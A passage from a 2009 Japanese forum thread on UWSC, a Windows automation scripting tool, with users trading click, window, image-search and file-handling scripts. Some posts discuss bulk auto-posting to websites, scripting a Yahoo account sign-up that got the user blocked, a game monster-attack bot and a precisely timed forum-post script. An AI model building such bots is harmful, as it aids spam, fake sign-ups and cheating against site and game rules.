> 戻値 = CHKIMG( 画像名, [透過色/色無視, x1, y1, x2, y2] )
> 戻値
>   有ればTRUE、無ければFALSE
>   TRUE の場合は見つかった座標を特殊変数 G_IMG_X、 G_IMG_Y に格納  

なんだから、
BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)だろが…
436名無しさん@お腹いっぱい。:2009/08/08(土) 08:28:44 ID:6r8oWi7C0
ありがとうございます
437名無しさん@お腹いっぱい。:2009/08/08(土) 10:11:41 ID:Df7yeceA0
画面の右上に常に置いているfoobarをシェードさせたいんだけど
できればマウスカーソルを移動させたくないから

BTN(RIGHT,CLICK,1111,10,300)

という記述以外に、タイトルバーを右クリックする動作をさせることが可能な記述はないかな?
uwscは(高度設定だと)タイトルバー右クリックを記録してくれないし
438名無しさん@お腹いっぱい。:2009/08/10(月) 17:25:04 ID:Q0mVulH/0
最近IEが起動できずそこでストップし起動できなかったみたいな
ダイアログがでます。OKを押せばそこでまたスケジュールなどの
プログラムが実行されるのですが、たびたび起こるようになり
困っています。

まず、なぜIEが起動できずらくなったかという点と
実行されなかったときやエラーのときに出るダイアログを出ないように
できないでしょうか?

何かわかりましたら詳細をお願いします。
439名無しさん@お腹いっぱい。:2009/08/10(月) 20:42:14 ID:vx/R19O+0
そんなIEは捨ててFireFoxに変えてしまえ。
440名無しさん@お腹いっぱい。:2009/08/11(火) 18:36:16 ID:hJMqR6ph0
COMなきゃUWSCからは使い物にならないじゃん
441名無しさん@お腹いっぱい。:2009/08/12(水) 13:01:45 ID:PuKACCbf0
>437
>タイトルバーを右クリックする動作
Alt + Space
442名無しさん@お腹いっぱい。:2009/08/12(水) 17:55:01 ID:5T//nwVg0
>>441
それだとメニューしか出てこなくてシェードできなかった
やっぱりBTNで指定するしかないのかな
443名無しさん@お腹いっぱい。:2009/08/12(水) 18:16:53 ID:9aovh/qR0
そもそもシェードとか意味不明の造語を言われても
お前以外の人間に分かるわけないだろw
444名無しさん@お腹いっぱい。:2009/08/12(水) 18:27:00 ID:zdDAhsra0
ウィンドウシェード
マカ語
445名無しさん@お腹いっぱい。:2009/08/12(水) 18:27:34 ID:7Bd618xV0
まぁ、UWSCのスレなんだし
聞きたいことがあるなら、最低限foobarを知らない人にもわかる説明は欲しいところだよな。
446名無しさん@お腹いっぱい。:2009/08/13(木) 07:04:24 ID:cNvCWprb0
シェードを意味不明の造語って、その程度の知識しかないのかここの住人は…?

WinRoll等のソフトを使うことによって、ウィンドウのタイトルバーを右クリックすると
タイトルバーのみ表示された状態になる。Macだと標準で搭載されてた機能だっけかな
ちなみにfoobarに搭載されてる機能じゃないからfoobarの知識は一切必要ない

問題はシンプルに、マウスでタイトルバーを右クリックしたときと同じ動作、をさせることが出来るか出来ないかの一点だけ
447名無しさん@お腹いっぱい。:2009/08/13(木) 07:32:06 ID:ECNQXKKO0
マカーってバカーなの?
UWSCとは全く関係がないソフトの機能を
さも誰もが知ってるかのごとく言ったあげく
指摘されたら逆ギレとか…アホか
448名無しさん@お腹いっぱい。:2009/08/13(木) 07:32:52 ID:ssPatVeH0
そんなもんなおさら説明してもらわんとわからんわ
449名無しさん@お腹いっぱい。:2009/08/13(木) 07:38:09 ID:okZWwZeo0
Windows標準として
タイトルバーを右クリックするとメニューが出ます
Alt+Spaceと同じことです

WinRollの作者にでも要望したらどうですか
Alt+Spaceでメニューが出るのも抑制してほしいって。
まったくUWSCとは関係ない話ですね
450名無しさん@お腹いっぱい。:2009/08/13(木) 07:42:14 ID:cNvCWprb0
マカーでもないしMacなんて使ったこともないが
つーか、最初からタイトルバー右クリック出来るか出来ないかって聞いてるだけなのに
なんで他の部分にこだわるの?
質問への回答も持ち合わせてないのに突っかかりたいだけの人?
451名無しさん@お腹いっぱい。:2009/08/13(木) 07:48:18 ID:cNvCWprb0
>>449
BTNで右クリック指定するとちゃんとシェードするのにおかしいね
BTN以外だとAlt+Spaceでしか右クリックの動作させられないなんてUWSCって意外と機能少ないんだね
452名無しさん@お腹いっぱい。:2009/08/13(木) 10:09:03 ID:fiYYXTEd0
cNvCWprb0
453名無しさん@お腹いっぱい。:2009/08/13(木) 10:21:31 ID:fiYYXTEd0
WinRollの仕様こそ調べるべきだろw >>449で正解。clkitemにしろWINDOWS標準機能使ってるだけ。
cNvCWprb0 の主張は、UWSCをWinRoll専用にカスタマイズしろってのと同義。
454名無しさん@お腹いっぱい。:2009/08/13(木) 10:34:30 ID:J7ekYvTv0
ウインドウシェードならリサイズで似たようなことできるんじゃないの?
455名無しさん@お腹いっぱい。:2009/08/13(木) 10:53:26 ID:GJXaYxZb0
>>451
それ、UWSC関係ないw
UWSCは基本、操作のままをスクリプト化出来るのが利点のソフトなんだし。

マウスのボタン操作、Alt+Spaceは基本全く別の操作
『ボタン操作は○○、Alt+Spaceは××』 
その動作仕様を決めているのはWindowsそのものやWinRoll?だよね。UWSCではない。

>問題はシンプルに、マウスでタイトルバーを右クリックしたときと同じ動作、をさせることが出来るか出来ないかの一点だけ
同じ機能をどういうキーアサインにしているか、抜け道があるかどうか、UWSCのスレではわからんよ。
使いたいソフトの仕様書を読むか、作者に聞く以外に無い。Windowsの仕様ならMSDNでも熟読かなぁ。

UWSCはソフトの操作が出来るソフトであって、仕様変更が出来るものではないよ。
機能が少ないとぼやくよりBTNでどうやったら出来るかを考えるほうが建設的。

>BTN(RIGHT,CLICK,1111,10,300)
>uwscは(高度設定だと)タイトルバー右クリックを記録してくれないし
この書き方・表現だと、変数とかgetidとかUWSCスクリプトの利点をまだ理解できてないんじゃないかなぁ。
最低限getidとstatusの関数を読むと良いと思うよ。
456名無しさん@お腹いっぱい。:2009/08/13(木) 17:56:55 ID:6OdBqM1c0
>>451
WinRoll を使ってないので、ちゃんとシェードできるか分からんが
マウスの座標を保存して、右クリック後に戻すんじゃダメ?
俺が使ってるのは foobar2000 v0.8.3 なのでクラス名が違うかも

OPTION EXPLICIT

DEF_DLL GetSystemMetrics(int): int: user32.dll

CONST SM_CXFRAME = 32
CONST SM_CYFRAME = 33

DIM id = GETID("", "{E7076D1C-A7BF-4f39-B771-BCBE88F2A2A8}")
DIM mouse_x = G_MOUSE_X
DIM mouse_y = G_MOUSE_Y
DIM x = STATUS(id, ST_X) + GetSystemMetrics(SM_CXFRAME)
DIM y = STATUS(id, ST_Y) + GetSystemMetrics(SM_CYFRAME)

CTRLWIN(id, ACTIVATE)
BTN(RIGHT, CLICK, x, y, 300)
MMV(mouse_x, mouse_y)
457名無しさん@お腹いっぱい。:2009/08/13(木) 19:23:02 ID:cNvCWprb0
>>456
自分なりに少し改良したらほぼ理想の動きをするようになった
ありがとう
458名無しさん@お腹いっぱい。:2009/08/14(金) 21:35:40 ID:lePNH2LF0
アプリケーションを起動させるときにはEXEC()で指定すれば起動できるんですけど
マイコンピュータを起動させるにはどうしたらいいんですか?ちなみにVistaです
459名無しさん@お腹いっぱい。:2009/08/14(金) 21:40:27 ID:lePNH2LF0
事故解決しました
460名無しさん@お腹いっぱい。:2009/08/15(土) 00:30:43 ID:nWYop4zn0
え?どうすればいいの
461名無しさん@お腹いっぱい。:2009/08/15(土) 06:07:22 ID:js64mCM30
>>460
EXEC("EXPLORER.EXE /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}")
じゃね?
Vista 使ってないから分からんが CLSID は変わってないハズ
462名無しさん@お腹いっぱい。:2009/08/15(土) 08:04:19 ID:wyeRXJm+0
そっか、thx
463名無しさん@お腹いっぱい。:2009/08/15(土) 12:14:15 ID:3xenIhAC0
フルスクリーン表示されてるソフトの上にFUKIDASIでも何でも表示させたいんだけどできない・・・
どうすればいいんあ
464名無しさん@お腹いっぱい。:2009/08/15(土) 17:52:07 ID:yaCNfD7C0
無理
465名無しさん@お腹いっぱい。:2009/08/15(土) 18:58:54 ID:tdBSpMKm0
>>463
SOUNDで警告音出させてから何秒後に表示するのが現実的じゃまいか?
その間に手動でウインドウモードに戻しておいてもらうということで

よそのフルスクリーンの上にかぶせてくるアプリもあることだし
win32api叩くのありなら不可能ではないと思うけど超めんどーそう
466名無しさん@お腹いっぱい。:2009/08/15(土) 19:09:37 ID:3xenIhAC0
ありがとうあきらめました
win32apiとか俺にはできそうにないなり
467名無しさん@お腹いっぱい。:2009/08/15(土) 19:12:41 ID:pXOex/6e0
画像などの保存するときにでるウィンドウの操作ができなくて困っています。

ACW(GETID("名前を付けて保存","#32770"),228,211,824,390,0)
MOUSEORG(GETID("名前を付けて保存","#32770"))

これが、UWSCでの情報で、このウィンドウが現れるまでスリープと
いう操作をしようとしています。

repeat
ifb GETID("名前を付けて保存","#32770") = 0
sleep(1)
endif
until GETID("名前を付けて保存","#32770") = true

これでうまくいきません。
468名無しさん@お腹いっぱい。:2009/08/15(土) 19:33:54 ID:sQtS+cTb0
関数の戻り値ってのをちゃんと理解した方がいいよ
469名無しさん@お腹いっぱい。:2009/08/15(土) 20:56:35 ID:cTXaQJ3d0
戻値 = GETID( タイトル, [クラス名, 待ち時間秒, MDI子タイトル] )
引数
  タイトル: 識別したいWindowのタイトル (タイトルの一部分だけでもOK)
  クラス名: 区別に必要でなければ省略して構いません (前方一致でのみ部分指定可)
  待ち時間秒: 確認できるまで指定された秒数待ちます (0.01〜)
           0: 0.1〜10秒まで状況や負荷により自動判断 (デフォルト)
          -1: 無期限待ち
  MDI子タイトル: MDIウィンドウ中の子ウィンドウタイトル

戻値
  そのWindowを識別するID (NGの時は -1)
470そろそろマジレ酢:2009/08/16(日) 16:08:43 ID:GJbDGiw70
ヘルプを「組込み定数」でキーワード検索すれば
何で最後の行がうまくいかないかわかるよ
471名無しさん@お腹いっぱい。:2009/08/16(日) 16:16:43 ID:a4mbf8s90
それは組み込み定数の問題じゃないようなw

こいつはGETIDの戻値が1か0(trueかfalse)しかないと思ってるからこんな事
書いてるんだろうし。そうであるならば組込み定数に関する問題は何もない
472名無しさん@お腹いっぱい。:2009/08/16(日) 21:52:10 ID:+2ZQxoWjP
>>467
取得するIDは0から始まるんだぞー
473名無しさん@お腹いっぱい。:2009/08/18(火) 19:07:19 ID:pyjPH2H40
すみませんお教えください
現在XPにてUWSCを使用しているものです
UWSCはVISTAでもXPと同様に稼働するのでしょうか?
474名無しさん@お腹いっぱい。:2009/08/18(火) 19:17:55 ID:YQaslH1l0
>>47
VISTA使っているけど、使っている範囲内では普通に動いています。

UWSC導入したてのころまったく動きませんでしたが、窓のUPDによって動くようになりましたよ
動かないときは管理者権限で行っても動きませんでしたので、動かないようならUPDしてね
475名無しさん@お腹いっぱい。:2009/08/18(火) 19:32:36 ID:pyjPH2H40
>>474
低レベルな質問にご返答ありがとうございました
感謝です
476名無しさん@お腹いっぱい。:2009/08/25(火) 09:50:03 ID:65fceamX0
MOUSEORGを使わずにアクティブウィンドウの相対座標で操作する方法は有りませんか? 

"相対座標"という言葉の認識が間違っているかも知れないので補足して置きますと、100×100のウィンドウがアクティブになっている時 x=1 y=1を画面全体のものではなく、そのウィンドウの左上にしたいのです。
477名無しさん@お腹いっぱい。:2009/08/25(火) 10:49:20 ID:N7fLVBuZ0
status(ID, ST_X)+X ,status(ID, ST_Y)+Y
これで x=1 y=1 の時に指定される位置はウィンドウの左上

基準値を前に書きたくない、mouseorgを使いたくない…たぶん両立は無理。
478名無しさん@お腹いっぱい。:2009/08/25(火) 11:33:56 ID:esSRzMbRP
>>477
レスありがとうございます。
status(ID, ST_X)+X ,status(ID, ST_Y)+Y という文の"X"と"Y"はX軸とY軸という事で大丈夫でしょうか?
479名無しさん@お腹いっぱい。:2009/08/25(火) 11:34:30 ID:65fceamX0
連レスすみません、IDこっちでした
480名無しさん@お腹いっぱい。:2009/08/25(火) 11:56:17 ID:N7fLVBuZ0
>>478
そっから先はやってみなさいよw ヘルプ読むとかさ。
481名無しさん@お腹いっぱい。:2009/08/25(火) 19:05:17 ID:1sftlgl60
なんでmouseorg使いたくないんだろ@@
482名無しさん@お腹いっぱい。:2009/08/25(火) 20:15:43 ID:65fceamX0
使いたくないのではなく、使えなかったのです・・・。
483名無しさん@お腹いっぱい。:2009/08/29(土) 15:12:51 ID:ww65mvO00
テキスト入力したいんだけど
既に文字が入力されている場合は最後に追加で文字入力したいです
例:名前欄に”久保”と入力します
その後で一文字追加で”田”を入力して”久保田”にしたいです

下記のようにしてみたけど
IESetData(IE,"久保","namae") // TEXT
IESetData(IE,""+"田","namae") // TEXT
結果は”田”のみになりましたorz

どなたかお願いします
484名無しさん@お腹いっぱい。:2009/08/29(土) 15:18:31 ID:Z1dWq6j7P
>>483
カーソル位置に挿入するのはフラグでできる。
元のテキストに挿入するか、置き換えるかが選べる。
(IEオブジェクトではできなかったかも)
でもカーソル位置が分からないなら、一旦取り出してメモリ上でつなげられる。
関数名は適当で説明すると
s = gettext(ID)
ifb length(s) then
 settext(ID, s + "田")
endif
485名無しさん@お腹いっぱい。:2009/08/29(土) 15:51:39 ID:8qKYn2v40
INPUT()コマンドでフルパス付きファイル名を取得したあと、
それをパスとファイル名に分離したいのですが、どうすれば良いでしょうか?

先頭と末尾を表す制御文字があればBETWEENSTR()コマンドで簡単に取り出せると思いますが
そういうのはなさそうですし。

POS()コマンドで最後の"\"が何文字目かを調べてから、COPYで抜き出すっていう方法になるんでしょうか?
486名無しさん@お腹いっぱい。:2009/08/29(土) 16:05:15 ID:8qKYn2v40
こういう形になるんですかね?
とりあえずはいけるようですが・・・。

// パスとファイル名に分離する
MojiSu = LENGTH( FileName)
Kugiri = POS( "\", FileName, -1)
Path = COPY( FileName, 1, Kugiri)
Name = COPY( FileName, Kugiri + 1, MojiSu - Kugiri)
487名無しさん@お腹いっぱい。:2009/08/29(土) 16:10:06 ID:ww65mvO00
>>484
速レスありがとうです
何文字あるか調べてから追加書き込みですね
それがエラーになるんです
文字数を調べる以前にテキストボックスの名前を調べないといけないみたいです
↓こんな感じのエラーでました
「変数IDが定義されてません」が出たのでID = namae を記入したら
「変数namaeが定義されてません」とエラーになります
このnamaeとはRECIEで記録したのでそのまま使ってる変数名なんだけど・・・

何度もすいません
自分のカーソル位置のテキストボックスの名前を調べる方法ありますか?
488名無しさん@お腹いっぱい。:2009/08/29(土) 16:56:59 ID:Z1dWq6j7P
>>487
ソースコードはイメージです。
実際の関数名や引数とは異なることがあります。
sはテキストボックスの文字列を格納している変数です。

>>486
おk
だけど、文字数の計算はなくてもおk
Kugiri = POS( "\", FileName, -1)
Path = COPY( FileName, 1, Kugiri)
Name = COPY( FileName, Kugiri + 1, 9999)
489名無しさん@お腹いっぱい。:2009/08/29(土) 17:08:23 ID:ww65mvO00
>>488
了解です
文字数を調べることができるってことがわかったのは大収穫でした^^
教えてくれてありがとうです
490486:2009/08/29(土) 20:34:56 ID:8qKYn2v40
>>488
どうもありがとうございます
491名無しさん@お腹いっぱい。:2009/08/30(日) 00:30:36 ID:BX4vfd5X0
ifb CHKIMG("●.bmp",0)での検索範囲を指定する事は可能でしょうか?
例えば相対座標500.350から770.485まで等です。
492491:2009/08/30(日) 00:41:53 ID:BX4vfd5X0
>>491
すみません。自己解決しました。
493名無しさん@そうだ選挙に行こう:2009/08/30(日) 12:07:27 ID:YU5dxX8f0
テキストファイルを1行単位で切り取り、貼り付けしたいんだけど
やりかたが全くわかりません><
取りあえずメモ帳を起動させることはできた
3行目切り取り→別ファイルに追加貼り付け
5〜6行目切り取り→新規ファイルに貼り付け
どなたか教えてください
494名無しさん@そうだ選挙に行こう:2009/08/30(日) 12:09:39 ID:YU5dxX8f0
493です
質問が言葉足らずですいません
>3行目切り取り→別ファイルに追加貼り付け
3行目切り取り→別ファイルの3行目に追加貼り付け
よろしくお願いしますm( _ _ )m
495名無しさん@そうだ選挙に行こう:2009/08/30(日) 13:03:13 ID:1jXzFL2UP
>>491
すみません、ちょうど同じ事をしようとして詰まっているのですがサンプルソースを頂けないでしょうか?
496名無しさん@そうだ選挙に行こう:2009/08/30(日) 17:22:13 ID:burn2IeSP
>>493-494
UWSCだと3行目を編集は出来るけど、3行目に挿入はできないよ。

たとえばサクラエディタならCtrl+Jで窓出して行指定してジャンプできる。
クリップボードに改行つきで1行分テキストをセットしたらCtrl+Vで挿入できる。
そういうやり方するしかないかな。

新規ファイルの一番後ろに追加して行くんならメモ帳とか使わずにUWSCの関数でできるけど。
詳しくはヘルプのファイル関連の関数を一通り読んでね。

ところで、3行目までコピーしてその後は丸ごとコピーって言うのは何度も何度も質問されててそのたびに解決してるはずなんだけど、
具体的にどこのデータがそんなに使えるの?
教えてくれたら作ってアップするかも。
497横レス:2009/08/30(日) 17:24:36 ID:S4AQ+SE30
>>495
公式ヘルプ

つーか何で>>491が中途半端に省略可能オプションつけてるのに
サーチ範囲指定までたどり着けなかったかがよくわからない
498名無しさん@そうだ選挙に行こう:2009/08/30(日) 18:01:54 ID:l0ar2rih0
取説とか公式HPとか見ないで、サポセンに電話するタイプなんでしょ。
499名無しさん@そうだ選挙に行こう:2009/08/30(日) 18:41:39 ID:/B83Ke060
CHKIMG de ggrks
500名無しさん@そうだ選挙に行こう:2009/08/30(日) 18:53:18 ID:p3Q1Ae3/0
>>496
ども^^
満喫来たのでちょっとID変わりましたが>>493>>494です
やりたいことは既存ファイル1を開いて
3行目のみ切り取り、既存の別ファイル2の2行目に貼り付ける
クリップボードにデータがあるうちにIEを起動させてサイトに投稿
これの繰り返しです

既存ファイル1から切り取る行数は3の倍数
3行目のみ6行目のみ9行目のみ12行目のみ
>3行目まで
じゃありません
上から数えて3行目にある行だけを切り取り別ファイル2の2行目に貼り付ける
サイトに投稿
既存ファイル1の6行目(3行目を切り取った後だから、この時点では上から5行目)を切り取り
既存ファイル2の4行目(貼り付けた後だから、この時点で上から数えて5行目)に貼り付け
サイトに投稿
次は既存ファイル1の9行目(切り取り2回しているので、この時点で7行目)を切り取り
既存ファイル2の6行目(貼り付け2回やってるので、この時点で上から数えて8行目)に貼り付け
サイトに投稿
こんな感じのことをやりたいです
具体的にと言われてもどう言えばいいのか^^;
データマンジングってやつかなw
自動操作のUWSCの正規ユーザーになったのでuwscでやってみたいです^^
さくらエディタって便利そうですね
情報ありがとです
501名無しさん@お腹いっぱい。:2009/08/30(日) 23:36:00 ID:burn2IeSP
>>500
それだけでは何に使えるか良く分からないですね。
つまり自動投稿して何の意味があるのか分からない。
まあ僕も2ゲットツールとかいう同じ内容を投稿するのは作ったけど、2ゲットっていう目的は分かりやすいでしょ?

とにかく行ごとに間引いて別のファイルに移動するわけですね。
カードをシャッフルするみたいな。
そういうのはやっぱりエディタを使わないと無理かな。
データベースオブジェクトを使ってもいいけど。
いや、連想配列にぶちこんでキーワードで取り出すのがシンプルかも。テキストの量次第だが。

間引いていく処理についてはUWSCの関数で順番に読み、順番に別ファイルに書く事でも実現できる。
新たにファイル0を作り、ファイル1からファイル0にコピーし、終わったらファイル0をファイル1にリネーム。
ファイル1 ABCDEFGHI Aから順に読む
ファイル0 AB DE GH 使わなかったものを順に書き込む。
このやり方ならループもシンプルで面倒なエディタ処理が1つ減る。
while
 FRead()
 if 処理条件 then
  投稿処理()
  ファイル2に吐き出す
 else
  FWrite()
 endif
wend
502名無しさん@お腹いっぱい。:2009/08/30(日) 23:42:39 ID:U269ithF0
UWSCの連想配列は結構遅いのが辛いな
対象が千を超える場合があればもう少しほかの方法を考えるかもしれないな。
503名無しさん@お腹いっぱい。:2009/08/30(日) 23:52:23 ID:burn2IeSP
>>500
連想配列を使う場合。
//【前処理】ファイル1を全部連想配列にぶちこむ
cnt1 = 0
cnt2 = 0
for i = 1 to ファイル1の行数
 FRead()
 if 処理条件 then
  cnt1 = cnt1 + 1
  key = 処理ワード1 + cnt1
 else
  cnt2 = cnt2 + 2
  key = 処理ワード2 + cnt2
 endif
 key で連想配列に追加
next

//【ファイル1処理】
ここでファイル1へ上書きする。

//【投稿+ファイル2処理】
while true
 key = 処理ワード2 + i
 配列からkeyでデータ取り出し
 if 配列になければbreak
 投稿処理()
 ファイル2に出力()
wend

・・・やっぱ問題はファイル2か。
挿入だとエディタ使う必要がやっぱりある。
データベースオブジェクトなら挿入があるかもしれんけど、基本的にRDBに順番関係ないしな。結局エディタしかないか。
504名無しさん@お腹いっぱい。:2009/08/31(月) 00:23:15 ID:ln7RNv9S0
>>503
ども^^
>>500です
お疲れのところありがとうございます
FGETとFPUTで出来るところまでやってみます
テキストの切り取りってのがわからないので
コピーしてファイルに貼り付けって感じでぼちぼちやってみます^^

2ゲットツール面白そうですねw
興味あります^^
もしよかったらサンプルください
自分はまだIE操作まったくわからないです
タイトル名とかクラスとか取得方法もわかりません><
ヤフーIDの新規登録のところに書き込んでみたかったんですけど
色々試してるうちにハッカー認定されたようで
新規登録のページに入れなくなりましたwww
色々ありがとうです^^
505名無しさん@お腹いっぱい。:2009/08/31(月) 00:57:38 ID:aWym46NO0
2ゲットつーるっておまwww
506名無しさん@お腹いっぱい。:2009/09/01(火) 15:22:08 ID:wGPAV2Jw0
ご教授お願いします。

1."Movie Operator"というフリーウェアの”...(O)”というボタンがclkItem()で押せません。
getItem()で得たボタン名をコピペしたのでボタン名は間違えていないと思います。
同じボタン名はありません。
とりあえずはscKey(wID, VK_ALT, o)して動かしたのですが、できればclkItem()で押したいです。

2.今実行している行数の変数ってありますか?
デバッグ時に便利だと思うのですが見あたりません。
見落としていないと思うのですが…
507名無しさん@お腹いっぱい。:2009/09/01(火) 15:49:21 ID:fkjh49CH0
>>506
>1.
自分の書いたソースコード張ったほうが良いよ。
たとえ一行でもね。できるやり方は少しでも、できない可能性は無限大。

>2.
レジスト版にデバッガーがあるので、そちらだと分かります。
フリー版では在りません
508名無しさん@お腹いっぱい。:2009/09/01(火) 20:33:58 ID:mJwhP3m40
そんじょそこらにPrint文でなんか出力させるんだよ
そしたらここまでは正常終了してるけど、ここと次の間のどこかで詰まってるとか分かるから
509506:2009/09/01(火) 23:24:39 ID:Oybct+X10
debug用に書き直してみました。
他のボタンだと動きますが”..”がやっぱりダメです。
数 = GETALLWIN()
For i = 0 to 数-1
ifb ( STATUS(ALL_WIN_ID[i], ST_PATH) = "C:\Program Files\movieoperator\MovieOperator.exe" ) _
and ( status(ALL_WIN_ID[i], ST_VISIBLE) = TRUE) then
wID = ALL_WIN_ID[i]
break
endif
next

debugAllPrintGetItem(wID)
exitexit
PROCEDURE debugAllPrintGetItem(wID)
hashTbl Ary
Ary["ITM_BTN"] = ITM_BTN       // ボタン、チェックボックス、ラジオボタン

for n = 0 to Length(Ary)-1
   種別の名前 = Ary[n, HASH_KEY]
   種別の定数 = Ary[n, HASH_VAL]

num=getItem(wID, 種別の定数)
print 種別の名前 + ": 数: " + num
for i=0 to num-1
print i + ": " + ALL_ITEM_LIST[i]
next
next

ctrlwin(wID, ACTIVATE)
ret = clkitem(wID, ALL_ITEM_LIST[10], CLK_BTN) // 押せない(T-T
print ret
FEND
510506:2009/09/01(火) 23:27:34 ID:Oybct+X10
なぜかtabが無くなって見にくくなりました。
すいません。
511名無しさん@お腹いっぱい。:2009/09/02(水) 11:26:17 ID:oNB215sE0
>>509
なかなか難儀なアプリだな
getidでも取得できず
clkitemでもクリックできない…こちらでも確認した。
512名無しさん@お腹いっぱい。:2009/09/03(木) 01:20:33 ID:ql+G/0a90
>>506
ClkItem( ID, "...(&O)", CLK_BTN, 1, 2)は?
513名無しさん@お腹いっぱい。:2009/09/03(木) 01:50:08 ID:ql+G/0a90
もとい
モードによって"...(&O)"ボタンの順番が変わるので最後の引数は適当に変える
これしか無さそう
514名無しさん@お腹いっぱい。:2009/09/04(金) 14:20:35 ID:aFZS+L7m0
クラス名:Button
タイトル:...(&O)
515名無しさん@お腹いっぱい。:2009/09/04(金) 15:27:11 ID:InW00wLu0
>>509
このスレでこんなことを言うのはなんだが、同じくMovieOperatorを操作するのに
UWSCだと問題ありだったんでAHKでやってる。

ちなみに件のボタンはファイル選択のためのボタンだが、エディットボックスに
直接書き込んだらファイル選択ダイアログ開く必要は無いよ。
516名無しさん@お腹いっぱい。:2009/09/04(金) 18:05:22 ID:VND0X8dc0
ネトゲでMOBを判別して攻撃するの作りたいのですがどうすればいいのか分からない。
教えてください。

とりあえず、画像を見つけてクリックするスクリプトはできましたが、動いているMOBだと殆ど反応しません・・・。
517506:2009/09/04(金) 23:53:16 ID:9ISan29C0
お返事ありがとうございます
>512
ボタンが押されることを確認しました。
"...(&O)"をどうやって考えられたかが気になります。
これはuwscのバグになるのでしょうか?
バグ報告すべきでしょうか
518名無しさん@お腹いっぱい。:2009/09/04(金) 23:56:32 ID:o7J0rS+w0
どこをどう見たらバグに見えるんだ?
519名無しさん@お腹いっぱい。:2009/09/05(土) 00:04:08 ID:lSJSWK1B0
>>517
> "...(&O)"をどうやって考えられたかが気になります。

どうやってってw
キーボードで動かすためのアンダーバーを入れるのは前に&付けるんだよ。
全くプログラミングに類するものやったことないとわからんかもな。

はい(&Y) いいえ(&N) キャンセル(&C)とか。こうすると各Y・N・Cの下にアンダーバーが付いて
Alt+Yではい、Alt+Nでいいえ、Alt+Cでキャンセルボタン押下になるわけ。
520名無しさん@お腹いっぱい。:2009/09/05(土) 00:48:19 ID:5dThaddI0
知らんかったw
521名無しさん@お腹いっぱい。:2009/09/05(土) 05:45:21 ID:HkFq18JH0
(&O)までつけるというのはちょっと思いつかなかった。
ま、キーの割り当てがされてるようなら実用上困らないんだけど。

今英語版Windows7の無料版使ってるんだけど、キーの割り当てが一つもなくて苦労してる。
いや、自動操縦とかじゃなくて、右クリ→S とかの決まりきった操作ですらメニュー一覧からマウスで探してポイントしないといけなくてめんどくさい・・・
522名無しさん@お腹いっぱい。:2009/09/06(日) 08:10:42 ID:zyPGokOw0
UWSCProの付属ツールでuwsファイルをexe化するツールってありますよね。
あれでexe化する場合なのですが、
call 〜.uws
って他のuwsファイルを読み込んでいる場合全部exe化しなければいけないのでしょうか?
それとも全部1ファイルにまとめてでないと動作しないのでしょうか?
523名無しさん@お腹いっぱい。:2009/09/06(日) 10:13:12 ID:64LdtFo30
>>522
call してるものまで全部含めて、勝手に1ファイルのEXEにしてくれる。
524名無しさん@お腹いっぱい。:2009/09/07(月) 22:58:40 ID:Xkdtabsd0
UWSC便利すぐるwww
525名無しさん@お腹いっぱい。:2009/09/09(水) 06:39:24 ID:WM4BaepJ0
下記の動作で左クリックを0.5秒間隔でクリックし続ける事は分かったのですが時間を指定してマクロ停止させるにはどうしたらよいのでしょうか?
(例→0.5秒間隔の左クリックを2時間後にマクロ停止)

While True
BTN(LEFT,CLICK,)
SLEEP(0.5)
Wend
526名無しさん@お腹いっぱい。:2009/09/09(水) 07:46:12 ID:6Qj8DJUR0
FOR NEXT使えばおk
ちょっと使い方を説明すると
一回ループする毎に変数にSTEPで指定した数が+される
そしてその数が終了値で指定した数に達するとループ脱出
初期値はそのまんま
例えば0.5秒間隔の左クリックを2時間をと言うとこうなる

FOR 変数 = 0 TO 14400 STEP 1 
BTN(LEFT,CLICK,)
SLEEP(0.5)
NEXT

一回ループをする毎に変数(初期値0)に+1(STEPの値)していき、14400(終了値)に達した時にループを脱出する
0.5秒を14400回で2時間になる
ヘルプ見ながら読んでね
527名無しさん@お腹いっぱい。:2009/09/09(水) 07:53:44 ID:WM4BaepJ0
>>526
ddです。
528名無しさん@お腹いっぱい。:2009/09/09(水) 09:31:40 ID:lOUbTZts0
いま遊んできた。

2009/09/09に婚姻届を出すスレ 6100組が登記の予約
ttp://tsushima.2ch.net/test/read.cgi/news/1252444644/
7 名前: マンネングサ(佐賀県)[] 投稿日:2009/09/09(水) 08:45:09.11 ID:SYGoZDF2
ここが新しい09年09月09日 09時09分09秒09にレスするスレか
8:45:09.09

8 名前: マンネングサ(佐賀県)[] 投稿日:2009/09/09(水) 08:46:09.09 ID:SYGoZDF2
8:46:09.09

09/09/09 09:09:09に999を取るスレ 保険用
ttp://yutori7.2ch.net/test/read.cgi/news4vip/1252453217/
999 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2009/09/09(水) 09:07:34.53 ID:Ubfyvu31O


|∧,,∧
| ・ω・)
|⊂ ノ 
|ωJ

>>999ゲット
529528:2009/09/09(水) 15:41:41 ID:lOUbTZts0
出来るだけ正確に投稿するにはどうしたらいいかと考えて、
JaneDoeViewの「書き込み」ボタンをクリックすることにした。

KDB(VK_SPACE, CLICK) では誤差が出るかもと思って
先にDOWNしといて時間を合わせてUPした。
でも、回線のせいなのか、0.03秒くらい期待した時間よりもずれてしまっていた。

以下即席スクリプト
// 指定秒にクリックします。
// キー押下は早めに実行します。
STOPFORM(true)
Second = 09

// カウントダウン中にフォーカスを「書き込み」ボタンに移しておく
for i = 5 to 1 step -1; fukidasi(i); sleep(1); next
fukidasi()

t = GetTime()
sec = (Second + 60 - 2) mod 60
Repeat; sleep(0.1); GetTime(); Until sec = G_TIME_SS

kbd(VK_SPACE, DOWN)
sleep(0.1)

//ミリ秒調整 ループにスリープを入れずに出来るだけ回数を多く回す。
Repeat; t = GetTime(); Until G_TIME_ZZ < 585
Repeat; t = GetTime(); Until 585 <= G_TIME_ZZ
sleep(1) // 他のタスクの待ちを解消しておく

kbd(VK_SPACE, UP)
sleep(5) // Jane動作のためじっとしておく
530528:2009/09/09(水) 18:11:43 ID:N5F4Z3YrP
SendMessageで直接クリックの動作をさせるのが一番だけどなあと思ったが、
ACC経由でないClkItem()ならSendMessageと等価なのかな、と思って書いてたら、
やっぱウィンドウハンドルの一覧から探すとかやってて時間かかってるかも知れないなと思い直した。
かといってIDとか自分で調べてもJaneの他のバージョンでは違っている可能性もあるわけで、汎用性が無くなるかもしれない。
ウィンドウのIDだけじゃなくてコントロールのIDも取れればシビアな制御できそうだけど・・
ややこしくなるから使う人いないし、そこまでするなら他の言語使ってるよな。

使いにくいけど鯖との時刻あわせしなきゃいけないから・・やっぱあれでよかったかな。
